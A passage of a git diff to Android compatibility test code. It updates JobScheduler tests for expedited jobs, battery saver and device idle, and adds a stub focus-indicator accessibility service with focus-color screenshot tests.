+ .setExpedited(true)
+ .setPeriodic(15 * 60_000));
+ assertBuildFails(failureMessage,
+ new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+ .setExpedited(true)
+ .setImportantWhileForeground(true));
+ assertBuildFails(failureMessage,
+ new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+ .setExpedited(true)
+ .setPrefetch(true));
+ assertBuildFails(failureMessage,
+ new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+ .setExpedited(true)
+ .setRequiresDeviceIdle(true));
+ assertBuildFails(failureMessage,
+ new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+ .setExpedited(true)
+ .setRequiresBatteryNotLow(true));
+ assertBuildFails(failureMessage,
+ new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+ .setExpedited(true)
+ .setRequiresCharging(true));
+ final JobInfo.TriggerContentUri tcu = new JobInfo.TriggerContentUri(
+ Uri.parse("content://" + MediaStore.AUTHORITY + "/"),
+ JobInfo.TriggerContentUri.FLAG_NOTIFY_FOR_DESCENDANTS);
+ assertBuildFails(failureMessage,
+ new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+ .setExpedited(true)
+ .addTriggerContentUri(tcu));
}
public void testImportantWhileForeground() {
@@ -142,16 +219,22 @@
JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
.build();
assertFalse(ji.isImportantWhileForeground());
+ // Confirm JobScheduler accepts the JobInfo object.
+ mJobScheduler.schedule(ji);
ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
.setImportantWhileForeground(true)
.build();
assertTrue(ji.isImportantWhileForeground());
+ // Confirm JobScheduler accepts the JobInfo object.
+ mJobScheduler.schedule(ji);
ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
.setImportantWhileForeground(false)
.build();
assertFalse(ji.isImportantWhileForeground());
+ // Confirm JobScheduler accepts the JobInfo object.
+ mJobScheduler.schedule(ji);
}
public void testMinimumLatency() {
@@ -159,6 +242,8 @@
.setMinimumLatency(1337)
.build();
assertEquals(1337, ji.getMinLatencyMillis());
+ // Confirm JobScheduler accepts the JobInfo object.
+ mJobScheduler.schedule(ji);
}
public void testOverrideDeadline() {
@@ -176,6 +261,8 @@
assertTrue(ji.isPeriodic());
assertEquals(60 * 60 * 1000L, ji.getIntervalMillis());
assertEquals(60 * 60 * 1000L, ji.getFlexMillis());
+ // Confirm JobScheduler accepts the JobInfo object.
+ mJobScheduler.schedule(ji);
ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
.setPeriodic(120 * 60 * 1000L, 20 * 60 * 1000L)
@@ -183,6 +270,8 @@
assertTrue(ji.isPeriodic());
assertEquals(120 * 60 * 1000L, ji.getIntervalMillis());
assertEquals(20 * 60 * 1000L, ji.getFlexMillis());
+ // Confirm JobScheduler accepts the JobInfo object.
+ mJobScheduler.schedule(ji);
}
public void testPersisted() {
@@ -190,16 +279,22 @@
JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
.build();
assertFalse(ji.isPersisted());
+ // Confirm JobScheduler accepts the JobInfo object.
+ mJobScheduler.schedule(ji);
ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
.setPersisted(true)
.build();
assertTrue(ji.isPersisted());
+ // Confirm JobScheduler accepts the JobInfo object.
+ mJobScheduler.schedule(ji);
ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
.setPersisted(false)
.build();
assertFalse(ji.isPersisted());
+ // Confirm JobScheduler accepts the JobInfo object.
+ mJobScheduler.schedule(ji);
}
public void testPrefetch() {
@@ -207,16 +302,22 @@
JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
.build();
assertFalse(ji.isPrefetch());
+ // Confirm JobScheduler accepts the JobInfo object.
+ mJobScheduler.schedule(ji);
ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
.setPrefetch(true)
.build();
assertTrue(ji.isPrefetch());
+ // Confirm JobScheduler accepts the JobInfo object.
+ mJobScheduler.schedule(ji);
ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
.setPrefetch(false)
.build();
assertFalse(ji.isPrefetch());
+ // Confirm JobScheduler accepts the JobInfo object.
+ mJobScheduler.schedule(ji);
}
public void testRequiredNetwork() {
@@ -228,11 +329,15 @@
.setRequiredNetwork(nr)
.build();
assertEquals(nr, ji.getRequiredNetwork());
+ // Confirm JobScheduler accepts the JobInfo object.
+ mJobScheduler.schedule(ji);
ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
.setRequiredNetwork(null)
.build();
assertNull(ji.getRequiredNetwork());
+ // Confirm JobScheduler accepts the JobInfo object.
+ mJobScheduler.schedule(ji);
}
@SuppressWarnings("deprecation")
@@ -241,31 +346,43 @@
JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
.build();
assertEquals(JobInfo.NETWORK_TYPE_NONE, ji.getNetworkType());
+ // Confirm JobScheduler accepts the JobInfo object.
+ mJobScheduler.schedule(ji);
ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
.setRequiredNetworkType(JobInfo.NETWORK_TYPE_ANY)
.build();
assertEquals(JobInfo.NETWORK_TYPE_ANY, ji.getNetworkType());
+ // Confirm JobScheduler accepts the JobInfo object.
+ mJobScheduler.schedule(ji);
ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
.setRequiredNetworkType(JobInfo.NETWORK_TYPE_UNMETERED)
.build();
assertEquals(JobInfo.NETWORK_TYPE_UNMETERED, ji.getNetworkType());
+ // Confirm JobScheduler accepts the JobInfo object.
+ mJobScheduler.schedule(ji);
ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
.setRequiredNetworkType(JobInfo.NETWORK_TYPE_NOT_ROAMING)
.build();
assertEquals(JobInfo.NETWORK_TYPE_NOT_ROAMING, ji.getNetworkType());
+ // Confirm JobScheduler accepts the JobInfo object.
+ mJobScheduler.schedule(ji);
ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
.setRequiredNetworkType(JobInfo.NETWORK_TYPE_CELLULAR)
.build();
assertEquals(JobInfo.NETWORK_TYPE_CELLULAR, ji.getNetworkType());
+ // Confirm JobScheduler accepts the JobInfo object.
+ mJobScheduler.schedule(ji);
ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
.setRequiredNetworkType(JobInfo.NETWORK_TYPE_NONE)
.build();
assertEquals(JobInfo.NETWORK_TYPE_NONE, ji.getNetworkType());
+ // Confirm JobScheduler accepts the JobInfo object.
+ mJobScheduler.schedule(ji);
}
public void testStorageNotLow() {
@@ -273,25 +390,24 @@
.setRequiresStorageNotLow(true)
.build();
assertTrue(ji.isRequireStorageNotLow());
+ // Confirm JobScheduler accepts the JobInfo object.
+ mJobScheduler.schedule(ji);
ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
.setRequiresStorageNotLow(false)
.build();
assertFalse(ji.isRequireStorageNotLow());
+ // Confirm JobScheduler accepts the JobInfo object.
+ mJobScheduler.schedule(ji);
}
public void testTransientExtras() {
final Bundle b = new Bundle();
b.putBoolean("random_bool", true);
- try {
- new JobInfo.Builder(JOB_ID, kJobServiceComponent)
- .setPersisted(true)
- .setTransientExtras(b)
- .build();
- fail("Successfully built a persisted JobInfo object with transient extras");
- } catch (IllegalArgumentException e) {
- // Expected
- }
+ assertBuildFails("Successfully built a persisted JobInfo object with transient extras",
+ new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+ .setPersisted(true)
+ .setTransientExtras(b));
JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
.setTransientExtras(b)
@@ -300,6 +416,8 @@
for (String key : b.keySet()) {
assertEquals(b.get(key), ji.getTransientExtras().get(key));
}
+ // Confirm JobScheduler accepts the JobInfo object.
+ mJobScheduler.schedule(ji);
}
public void testTriggerContentMaxDelay() {
@@ -307,6 +425,8 @@
.setTriggerContentMaxDelay(1337)
.build();
assertEquals(1337, ji.getTriggerContentMaxDelay());
+ // Confirm JobScheduler accepts the JobInfo object.
+ mJobScheduler.schedule(ji);
}
public void testTriggerContentUpdateDelay() {
@@ -314,6 +434,8 @@
.setTriggerContentUpdateDelay(1337)
.build();
assertEquals(1337, ji.getTriggerContentUpdateDelay());
+ // Confirm JobScheduler accepts the JobInfo object.
+ mJobScheduler.schedule(ji);
}
public void testTriggerContentUri() {
@@ -327,6 +449,8 @@
.build();
assertEquals(1, ji.getTriggerContentUris().length);
assertEquals(tcu, ji.getTriggerContentUris()[0]);
+ // Confirm JobScheduler accepts the JobInfo object.
+ mJobScheduler.schedule(ji);
final Uri u2 = Uri.parse("content://" + ContactsContract.AUTHORITY + "/");
final JobInfo.TriggerContentUri tcu2 = new JobInfo.TriggerContentUri(u2, 0);
@@ -339,5 +463,16 @@
assertEquals(2, ji.getTriggerContentUris().length);
assertEquals(tcu, ji.getTriggerContentUris()[0]);
assertEquals(tcu2, ji.getTriggerContentUris()[1]);
+ // Confirm JobScheduler accepts the JobInfo object.
+ mJobScheduler.schedule(ji);
+ }
+
+ private void assertBuildFails(String message, JobInfo.Builder builder) {
+ try {
+ builder.build();
+ fail(message);
+ } catch (IllegalArgumentException e) {
+ // Expected
+ }
}
}
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/JobParametersTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/JobParametersTest.java
index 8b7ca03..bd0653b 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/JobParametersTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/JobParametersTest.java
@@ -65,9 +65,9 @@
assertTrue(persistableBundleEquals(pb, params.getExtras()));
}
- public void testForeground() throws Exception {
+ public void testExpedited() throws Exception {
JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
- .setForeground(true)
+ .setExpedited(true)
.build();
kTestEnvironment.setExpectedExecutions(1);
@@ -76,10 +76,10 @@
assertTrue("Job didn't fire immediately", kTestEnvironment.awaitExecution());
JobParameters params = kTestEnvironment.getLastJobParameters();
- assertTrue(params.isForegroundJob());
+ assertTrue(params.isExpeditedJob());
ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
- .setForeground(false)
+ .setExpedited(false)
.build();
kTestEnvironment.setExpectedExecutions(1);
@@ -88,7 +88,7 @@
assertTrue("Job didn't fire immediately", kTestEnvironment.awaitExecution());
params = kTestEnvironment.getLastJobParameters();
- assertFalse(params.isForegroundJob());
+ assertFalse(params.isExpeditedJob());
}
public void testJobId() throws Exception {
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java
index 40d0515..fb08e6d 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java
@@ -284,7 +284,7 @@
setAirplaneMode(false);
setWifiState(true, mCm, mWifiManager);
assumeTrue("device idle not enabled", mDeviceIdleEnabled);
- mTestAppInterface.scheduleJob(false, true);
+ mTestAppInterface.scheduleJob(false, true, false);
runJob();
assertTrue("Job did not start after scheduling",
mTestAppInterface.awaitJobStart(DEFAULT_WAIT_TIMEOUT));
@@ -383,7 +383,7 @@
BatteryUtils.runDumpsysBatteryUnplug();
setTestPackageStandbyBucket(Bucket.RESTRICTED);
Thread.sleep(DEFAULT_WAIT_TIMEOUT);
- mTestAppInterface.scheduleJob(false, true);
+ mTestAppInterface.scheduleJob(false, true, false);
runJob();
assertFalse("New job started in RESTRICTED bucket", mTestAppInterface.awaitJobStart(3_000));
@@ -479,7 +479,7 @@
BatteryUtils.enableBatterySaver(true);
tempWhitelistTestApp(6_000);
sendScheduleJobBroadcast(false);
- assertTrue("New job in uid-active app failed to start with battery saver OFF",
+ assertTrue("New job in uid-active app failed to start with battery saver ON",
mTestAppInterface.awaitJobStart(3_000));
}
@@ -504,6 +504,63 @@
mTestAppInterface.awaitJobStart(120_000));
}
+
+ @Test
+ public void testExpeditedJobBypassesBatterySaverOn() throws Exception {
+ assumeFalse("not testable in automotive device", mAutomotiveDevice);
+ assumeFalse("not testable in leanback device", mLeanbackOnly);
+
+ BatteryUtils.assumeBatterySaverFeature();
+
+ BatteryUtils.runDumpsysBatteryUnplug();
+ BatteryUtils.enableBatterySaver(true);
+ mTestAppInterface.scheduleJob(false, false, true);
+ assertTrue("New expedited job failed to start with battery saver ON",
+ mTestAppInterface.awaitJobStart(DEFAULT_WAIT_TIMEOUT));
+ }
+
+ @Test
+ public void testExpeditedJobBypassesBatterySaver_toggling() throws Exception {
+ assumeFalse("not testable in automotive device", mAutomotiveDevice);
+ assumeFalse("not testable in leanback device", mLeanbackOnly);
+
+ BatteryUtils.assumeBatterySaverFeature();
+
+ BatteryUtils.runDumpsysBatteryUnplug();
+ BatteryUtils.enableBatterySaver(false);
+ mTestAppInterface.scheduleJob(false, false, true);
+ assertTrue("New expedited job failed to start with battery saver ON",
+ mTestAppInterface.awaitJobStart(DEFAULT_WAIT_TIMEOUT));
+ BatteryUtils.enableBatterySaver(true);
+ assertFalse("Job stopped when battery saver turned on",
+ mTestAppInterface.awaitJobStop(DEFAULT_WAIT_TIMEOUT));
+ }
+
+ @Test
+ public void testExpeditedJobBypassesDeviceIdle() throws Exception {
+ assumeTrue("device idle not enabled", mDeviceIdleEnabled);
+
+ toggleDeviceIdleState(true);
+ mTestAppInterface.scheduleJob(false, false, true);
+ runJob();
+ assertTrue("Job did not start after scheduling",
+ mTestAppInterface.awaitJobStart(DEFAULT_WAIT_TIMEOUT));
+ }
+
+ @Test
+ public void testExpeditedJobBypassesDeviceIdle_toggling() throws Exception {
+ assumeTrue("device idle not enabled", mDeviceIdleEnabled);
+
+ toggleDeviceIdleState(false);
+ mTestAppInterface.scheduleJob(false, false, true);
+ runJob();
+ assertTrue("Job did not start after scheduling",
+ mTestAppInterface.awaitJobStart(DEFAULT_WAIT_TIMEOUT));
+ toggleDeviceIdleState(true);
+ assertFalse("Job stopped when device enabled turned on",
+ mTestAppInterface.awaitJobStop(DEFAULT_WAIT_TIMEOUT));
+ }
+
@After
public void tearDown() throws Exception {
AppOpsUtils.reset(TEST_APP_PACKAGE);
@@ -561,7 +618,7 @@
}
private void sendScheduleJobBroadcast(boolean allowWhileIdle) throws Exception {
- mTestAppInterface.scheduleJob(allowWhileIdle, false);
+ mTestAppInterface.scheduleJob(allowWhileIdle, false, false);
}
private void toggleDeviceIdleState(final boolean idle) throws Exception {
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/TestAppInterface.java b/tests/JobScheduler/src/android/jobscheduler/cts/TestAppInterface.java
index d871a2b..7e2e05e 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/TestAppInterface.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/TestAppInterface.java
@@ -68,12 +68,13 @@
mTestJobStatus.reset();
}
- void scheduleJob(boolean allowWhileIdle, boolean needNetwork) {
+ void scheduleJob(boolean allowWhileIdle, boolean needNetwork, boolean asExpeditedJob) {
final Intent scheduleJobIntent = new Intent(TestJobSchedulerReceiver.ACTION_SCHEDULE_JOB);
scheduleJobIntent.addFlags(Intent.FLAG_RECEIVER_FOREGROUND);
scheduleJobIntent.putExtra(TestJobSchedulerReceiver.EXTRA_JOB_ID_KEY, mJobId);
scheduleJobIntent.putExtra(TestJobSchedulerReceiver.EXTRA_ALLOW_IN_IDLE, allowWhileIdle);
scheduleJobIntent.putExtra(TestJobSchedulerReceiver.EXTRA_REQUIRE_NETWORK_ANY, needNetwork);
+ scheduleJobIntent.putExtra(TestJobSchedulerReceiver.EXTRA_AS_EXPEDITED, asExpeditedJob);
scheduleJobIntent.setComponent(new ComponentName(TEST_APP_PACKAGE, TEST_APP_RECEIVER));
mContext.sendBroadcast(scheduleJobIntent);
}
diff --git a/tests/accessibilityservice/AndroidManifest.xml b/tests/accessibilityservice/AndroidManifest.xml
index 65527ca..038af75 100644
--- a/tests/accessibilityservice/AndroidManifest.xml
+++ b/tests/accessibilityservice/AndroidManifest.xml
@@ -184,6 +184,17 @@
android:resource="@xml/stub_take_screenshot_service"/>
</service>
+ <service android:name=".StubFocusIndicatorService"
+ android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.accessibilityservice.AccessibilityService"/>
+ <category android:name="android.accessibilityservice.category.FEEDBACK_GENERIC"/>
+ </intent-filter>
+
+ <meta-data android:name="android.accessibilityservice"
+ android:resource="@xml/stub_focus_indicator_service"/>
+ </service>
</application>
<instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/accessibilityservice/AndroidTest.xml b/tests/accessibilityservice/AndroidTest.xml
index 19d406c..d79d927 100644
--- a/tests/accessibilityservice/AndroidTest.xml
+++ b/tests/accessibilityservice/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="framework" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
<option name="run-command" value="cmd accessibility set-bind-instant-service-allowed true" />
<option name="teardown-command" value="cmd accessibility set-bind-instant-service-allowed false" />
diff --git a/tests/accessibilityservice/res/values/strings.xml b/tests/accessibilityservice/res/values/strings.xml
index 7b6be1e..03de62d 100644
--- a/tests/accessibilityservice/res/values/strings.xml
+++ b/tests/accessibilityservice/res/values/strings.xml
@@ -194,4 +194,6 @@
<!-- String title of accessibility embedded hierarchy test activity -->
<string name="accessibility_embedded_hierarchy_test_activity">Accessibility embedded hierarchy test</string>
+ <string name="stub_focus_indicator_service_description">com.android.accessibilityservice.cts.StubFocusIndicatorService</string>
+
</resources>
diff --git a/tests/accessibilityservice/res/xml/stub_focus_indicator_service.xml b/tests/accessibilityservice/res/xml/stub_focus_indicator_service.xml
new file mode 100644
index 0000000..a27c7ca
--- /dev/null
+++ b/tests/accessibilityservice/res/xml/stub_focus_indicator_service.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
+ android:description="@string/stub_focus_indicator_service_description"
+/>
\ No newline at end of file
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
index c50aee2..1b003e3 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
@@ -459,7 +459,7 @@
.setSmallIcon(android.R.drawable.stat_notify_call_mute)
.setContentIntent(PendingIntent.getActivity(mActivity, 0,
new Intent(),
- PendingIntent.FLAG_CANCEL_CURRENT))
+ PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_IMMUTABLE))
.setTicker(message)
.setContentTitle("")
.setContentText("")
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFocusAndInputFocusSyncTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFocusAndInputFocusSyncTest.java
index 6a7d5b8..d0d513a 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFocusAndInputFocusSyncTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFocusAndInputFocusSyncTest.java
@@ -14,7 +14,6 @@
package android.accessibilityservice.cts;
-import static android.accessibility.cts.common.InstrumentedAccessibilityService.enableService;
import static android.accessibilityservice.cts.utils.AccessibilityEventFilterUtils.filterForEventTypeWithAction;
import static android.accessibilityservice.cts.utils.ActivityLaunchUtils.launchActivityAndWaitForItToBeOnscreen;
import static android.accessibilityservice.cts.utils.AsyncUtils.DEFAULT_TIMEOUT_MS;
@@ -31,14 +30,20 @@
import static org.junit.Assert.fail;
import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
-import android.accessibility.cts.common.InstrumentedAccessibilityService;
+import android.accessibility.cts.common.InstrumentedAccessibilityServiceTestRule;
import android.accessibilityservice.AccessibilityServiceInfo;
import android.accessibilityservice.cts.activities.AccessibilityFocusAndInputFocusSyncActivity;
import android.app.Instrumentation;
import android.app.UiAutomation;
import android.content.Context;
+import android.graphics.Bitmap;
+import android.graphics.Color;
+import android.graphics.Point;
+import android.os.Environment;
+import android.os.SystemClock;
import android.platform.test.annotations.Presubmit;
import android.test.suitebuilder.annotation.MediumTest;
+import android.view.Display;
import android.view.View;
import android.view.accessibility.AccessibilityManager;
import android.view.accessibility.AccessibilityNodeInfo;
@@ -47,6 +52,7 @@
import androidx.test.rule.ActivityTestRule;
import androidx.test.runner.AndroidJUnit4;
+import com.android.compatibility.common.util.BitmapUtils;
import com.android.compatibility.common.util.PollingCheck;
import org.junit.AfterClass;
@@ -55,6 +61,7 @@
import org.junit.Rule;
import org.junit.Test;
import org.junit.rules.RuleChain;
+import org.junit.rules.TestName;
import org.junit.runner.RunWith;
import java.util.LinkedList;
@@ -69,30 +76,50 @@
*/
@RunWith(AndroidJUnit4.class)
public class AccessibilityFocusAndInputFocusSyncTest {
+ /**
+ * The delay time is for next UI frame rendering out.
+ */
+ private static final long SCREEN_FRAME_RENDERING_OUT_TIME_MILLIS = 500;
+
private static Instrumentation sInstrumentation;
private static UiAutomation sUiAutomation;
+ private static Context sContext;
+ private static AccessibilityManager sAccessibilityManager;
+ private static int sFocusStrokeWidthDefaultValue;
+ private static int sFocusColorDefaultValue;
private AccessibilityFocusAndInputFocusSyncActivity mActivity;
- private Context mContext;
- private AccessibilityManager mAccessibilityManager;
- private int mFocusStrokeWidthDefaultValue;
- private int mFocusColorDefaultValue;
private ActivityTestRule<AccessibilityFocusAndInputFocusSyncActivity> mActivityRule =
new ActivityTestRule<>(AccessibilityFocusAndInputFocusSyncActivity.class, false, false);
+ private InstrumentedAccessibilityServiceTestRule<StubFocusIndicatorService>
+ mFocusIndicatorServiceRule = new InstrumentedAccessibilityServiceTestRule<>(
+ StubFocusIndicatorService.class, false);
+
private AccessibilityDumpOnFailureRule mDumpOnFailureRule =
new AccessibilityDumpOnFailureRule();
@Rule
public final RuleChain mRuleChain = RuleChain
.outerRule(mActivityRule)
+ .around(mFocusIndicatorServiceRule)
.around(mDumpOnFailureRule);
+ /* Test name rule that tracks the current test method under execution */
+ @Rule public TestName mTestName = new TestName();
+
@BeforeClass
public static void oneTimeSetup() throws Exception {
sInstrumentation = InstrumentationRegistry.getInstrumentation();
- sUiAutomation = sInstrumentation.getUiAutomation();
+ sUiAutomation = sInstrumentation.getUiAutomation(
+ UiAutomation.FLAG_DONT_SUPPRESS_ACCESSIBILITY_SERVICES);
+
+ sContext = sInstrumentation.getContext();
+ sAccessibilityManager = sContext.getSystemService(AccessibilityManager.class);
+ assertNotNull(sAccessibilityManager);
+ sFocusStrokeWidthDefaultValue = sAccessibilityManager.getAccessibilityFocusStrokeWidth();
+ sFocusColorDefaultValue = sAccessibilityManager.getAccessibilityFocusColor();
}
@AfterClass
@@ -109,12 +136,6 @@
mActivity = launchActivityAndWaitForItToBeOnscreen(
sInstrumentation, sUiAutomation, mActivityRule);
-
- mContext = sInstrumentation.getContext();
- mAccessibilityManager = mContext.getSystemService(AccessibilityManager.class);
- assertNotNull(mAccessibilityManager);
- mFocusStrokeWidthDefaultValue = mAccessibilityManager.getAccessibilityFocusStrokeWidth();
- mFocusColorDefaultValue = mAccessibilityManager.getAccessibilityFocusColor();
}
@MediumTest
@@ -127,7 +148,7 @@
// Get the view that has input and accessibility focus.
final AccessibilityNodeInfo expected = sUiAutomation
.getRootInActiveWindow().findAccessibilityNodeInfosByText(
- mContext.getString(R.string.firstEditText)).get(0);
+ sContext.getString(R.string.firstEditText)).get(0);
assertNotNull(expected);
assertFalse(expected.isAccessibilityFocused());
assertTrue(expected.isFocused());
@@ -164,7 +185,7 @@
// Get the root linear layout info.
final AccessibilityNodeInfo rootLinearLayout = sUiAutomation
.getRootInActiveWindow().findAccessibilityNodeInfosByText(
- mContext.getString(R.string.rootLinearLayout)).get(0);
+ sContext.getString(R.string.rootLinearLayout)).get(0);
assertNotNull(rootLinearLayout);
assertFalse(rootLinearLayout.isAccessibilityFocused());
@@ -188,7 +209,7 @@
// Get the root linear layout info.
final AccessibilityNodeInfo rootLinearLayout = sUiAutomation
.getRootInActiveWindow().findAccessibilityNodeInfosByText(
- mContext.getString(R.string.rootLinearLayout)).get(0);
+ sContext.getString(R.string.rootLinearLayout)).get(0);
assertNotNull(rootLinearLayout);
sUiAutomation.executeAndWaitForEvent(
@@ -223,7 +244,7 @@
// Get the first not focused edit text.
final AccessibilityNodeInfo firstEditText = sUiAutomation
.getRootInActiveWindow().findAccessibilityNodeInfosByText(
- mContext.getString(R.string.firstEditText)).get(0);
+ sContext.getString(R.string.firstEditText)).get(0);
assertNotNull(firstEditText);
assertTrue(firstEditText.isFocusable());
assertFalse(firstEditText.isAccessibilityFocused());
@@ -237,7 +258,7 @@
// Get the second not focused edit text.
final AccessibilityNodeInfo secondEditText = sUiAutomation
.getRootInActiveWindow().findAccessibilityNodeInfosByText(
- mContext.getString(R.string.secondEditText)).get(0);
+ sContext.getString(R.string.secondEditText)).get(0);
assertNotNull(secondEditText);
assertTrue(secondEditText.isFocusable());
assertFalse(secondEditText.isFocused());
@@ -276,7 +297,7 @@
public void testScreenReaderFocusableAttribute_reportedToAccessibility() {
final AccessibilityNodeInfo secondButton = sUiAutomation.getRootInActiveWindow()
.findAccessibilityNodeInfosByText(
- mContext.getString(R.string.secondButton)).get(0);
+ sContext.getString(R.string.secondButton)).get(0);
assertTrue("Screen reader focusability not propagated from xml to accessibility",
secondButton.isScreenReaderFocusable());
@@ -299,39 +320,122 @@
@Test
public void testSetFocusAppearanceDataAfterServiceEnabled() {
- setFocusAppearanceDataAndCheckItCorrect();
+ final StubFocusIndicatorService service =
+ mFocusIndicatorServiceRule.enableService();
+ final int focusColor = sFocusColorDefaultValue == Color.BLUE ? Color.RED : Color.BLUE;
+
+ try {
+ setFocusAppearanceDataAndCheckItCorrect(service, sFocusStrokeWidthDefaultValue + 10,
+ focusColor);
+ } finally {
+ setFocusAppearanceDataAndCheckItCorrect(service, sFocusStrokeWidthDefaultValue,
+ sFocusColorDefaultValue);
+
+ service.disableSelfAndRemove();
+ }
}
@Test
- public void testResetFocusAppearanceDataAfterServiceDisabled() {
- setFocusAppearanceDataAndCheckItCorrect();
-
- // Checks if the color and the stroke values from AccessibilityManager is
- // reset to the default value.
- PollingCheck.waitFor(()->isFocusAppearanceDataUpdated(mAccessibilityManager,
- mFocusStrokeWidthDefaultValue, mFocusColorDefaultValue));
- }
-
- private void setFocusAppearanceDataAndCheckItCorrect() {
- sInstrumentation
- .getUiAutomation(UiAutomation.FLAG_DONT_SUPPRESS_ACCESSIBILITY_SERVICES);
- final InstrumentedAccessibilityService service =
- enableService(InstrumentedAccessibilityService.class);
+ public void testChangeFocusColor_expectedColorIsChanged() throws Exception {
+ final StubFocusIndicatorService service =
+ mFocusIndicatorServiceRule.enableService();
try {
- final int focusStrokeWidthValue = mFocusStrokeWidthDefaultValue + 10;
- final int focusColorValue = mFocusColorDefaultValue + 100;
+ // Get the root linear layout info.
+ final AccessibilityNodeInfo rootLinearLayout = sUiAutomation
+ .getRootInActiveWindow().findAccessibilityNodeInfosByText(
+ sContext.getString(R.string.rootLinearLayout)).get(0);
- service.setAccessibilityFocusAppearance(focusStrokeWidthValue, focusColorValue);
- // Checks if the color and the stroke values from AccessibilityManager is
- // updated as in expectation.
- PollingCheck.waitFor(()->isFocusAppearanceDataUpdated(mAccessibilityManager,
- focusStrokeWidthValue, focusColorValue));
+ final Bitmap blueColorFocusScreenshot = screenshotAfterChangeFocusColor(service,
+ rootLinearLayout, Color.BLUE);
+
+ final Bitmap redColorFocusScreenshot = screenshotAfterChangeFocusColor(service,
+ rootLinearLayout, Color.RED);
+
+ assertTrue(isBitmapDifferent(blueColorFocusScreenshot, redColorFocusScreenshot));
} finally {
+ setFocusAppearanceDataAndCheckItCorrect(service, sFocusStrokeWidthDefaultValue,
+ sFocusColorDefaultValue);
+
service.disableSelfAndRemove();
}
}
+ private Bitmap screenshotAfterChangeFocusColor(StubFocusIndicatorService service,
+ AccessibilityNodeInfo unAccessibilityFocusedNode, int color) throws Exception {
+ assertFalse(unAccessibilityFocusedNode.isAccessibilityFocused());
+
+ setFocusAppearanceDataAndCheckItCorrect(service, sFocusStrokeWidthDefaultValue, color);
+ sUiAutomation.executeAndWaitForEvent(
+ () -> assertTrue(unAccessibilityFocusedNode.performAction(
+ ACTION_ACCESSIBILITY_FOCUS)),
+ filterForEventTypeWithAction(TYPE_VIEW_ACCESSIBILITY_FOCUSED,
+ ACTION_ACCESSIBILITY_FOCUS),
+ DEFAULT_TIMEOUT_MS);
+ Thread.sleep(SCREEN_FRAME_RENDERING_OUT_TIME_MILLIS);
+
+ final Bitmap screenshot = sUiAutomation.takeScreenshot();
+
+ sUiAutomation.executeAndWaitForEvent(
+ () -> assertTrue(unAccessibilityFocusedNode.performAction(
